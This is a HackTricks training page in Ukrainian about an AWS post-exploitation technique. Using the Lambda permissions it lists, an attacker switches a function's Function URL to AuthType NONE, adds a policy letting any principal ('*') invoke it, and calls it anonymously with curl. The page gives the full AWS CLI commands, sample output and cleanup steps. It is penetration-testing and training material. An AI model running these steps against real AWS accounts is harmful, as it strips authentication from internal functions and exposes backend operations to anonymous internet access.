# AWS - Lambda Function URL Public Exposure (AuthType NONE + Public Invoke Policy) {{#include ../../../../banners/hacktricks-training.md}} Перетворіть приватний Lambda Function URL на публічну неавторизовану кінцеву точку, переключивши Function URL AuthType на NONE та додавши resource-based policy, яка надає lambda:InvokeFunctionUrl всім. Це дозволяє анонімне викликання внутрішніх функцій і може розкрити чутливі бекенд-операції. ## Зловживання - Попередні вимоги: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission - Регіон: us-east-1 ### Кроки 1) Переконайтеся, що функція має Function URL (за замовчуванням AWS_IAM): ``` aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true ``` 2) Переключіть URL на публічний (AuthType NONE): ``` aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE ``` 3) Додайте resource-based policy statement, щоб дозволити неавторизованим суб’єктам: ``` aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE ``` 4) Отримайте URL і викличте без облікових даних: ``` URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text) curl -sS "$URL" ``` ### Наслідки - Функція Lambda стає доступною анонімно через інтернет. ### Приклад виводу (200 без автентифікації) ``` HTTP 200 https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/ {"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]} ``` ### Очищення ``` aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true ``` {{#include ../../../../banners/hacktricks-training.md}}